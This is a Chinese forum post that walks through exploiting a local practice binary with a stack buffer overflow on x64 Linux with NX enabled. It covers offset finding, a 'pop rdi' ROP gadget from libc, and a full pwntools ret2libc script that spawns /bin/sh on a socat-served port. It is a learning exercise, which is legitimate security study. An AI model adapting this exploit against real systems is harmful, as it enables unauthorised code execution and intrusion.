
本帖最后由 math1as 于 2016-7-18 19:56 编辑
首先拿到程序dep
使用gdb-peda加载调试
checksec发现开启了NX(dep防护)
在这里也可以用cat /proc/pid/maps的方法来查看
发现栈的内存只有rw,没有执行的权限了
那么这里也是一开始就遇到了一个问题,直接进行buffer覆盖,无法控制rip
一开始以为是rsp被破坏了,然后自己找了一番资料
基本上是由于x86和x64平台区别的原因
那么是什么导致了异常而rip无法跳转呢?
原因如下:程序使用的地址不能大于0x00000007ffffff.....
这里我们试着用小于这个数值的buffer去填充
果然,成功的控制了rip的数值
但是我们的pattern字符串并不小于这个数值,所以需要找一个方法
ret指令等效于pop rip;ret,因此我们可以用$rip的值来计算偏移
pattern offset $rip
得到了72,因此我们的buffer长度填充为72个A
那么在开启了NX的情况下无法直接执行栈中填充的shellcode,所以我们这里使用rop来跳过
那么另外x64平台下还有一个问题
先放一张wiki的图
这是在x86环境下,栈的结构图,基本上可以看到,入栈的param先填满高地址,最后是函数返回地址
但是在x64的环境下,函数参数的传递首先由6个寄存器进行,多余的参数再进行入栈操作
那么第一个用到的寄存器就是rdi,也就是说,我们无法通过直接覆盖栈的方式来传递参数了
这里我们最终想的是调用system函数来执行/bin/sh
所以说,需要用到gadget了,这是存在内存中,每次执行一条语句后就会ret的汇编指令
使用ROPgadget来进行搜寻,你可以用pip install的方式来安装它
在程序中我们并没有搜索到想要的代码,所以我们在它链接的libc.so中搜索
首先使用ldd ./dep命令来查看他调用的libc.so
然后我们就可以搜索要用的gadget了
ROPgadget --binary xxx.libc.so --only "pop|ret"
使用其中的一条pop rdi指令来把/bin/sh对应的字符串地址弹到rdi中。
那么最后一步了,如何确定/bin/sh的位置和system的地址呢
在不开启aslr的情况下,gdb中直接用print system来查看其地址
然后用pwntools里的symbols功能来计算偏移量和查找/bin/sh
当然,你也可以直接用gdb来find "/bin/sh"
然后用socat把这个程序运行在6666端口
执行我们的payload
那么成功的获取了一个system执行的/bin/sh的shell
完整的脚本代码如下:
[mw_shl_code=python,true] #!/usr/bin/python
from pwn import *
#test=process('./dep')
test=remote('127.0.0.1',6666)
libc = ELF('./libc-2.19.so')
systemaddr=0x7ffff7a72490
sh_offset=next(libc.search('/bin/sh')) -libc.symbols['system']
ret_offset=0x0000000000022482 - libc.symbols['system']
ret_addr=p64(systemaddr+ret_offset)
sh_addr=p64(systemaddr+sh_offset)
print ret_offset
ret_addr=p64(0x7ffff7a53482)
systemaddr=p64(systemaddr)
buffer='A'*72
payload=buffer+ret_addr+sh_addr+systemaddr
test.send(payload)
test.interactive()[/mw_shl_code]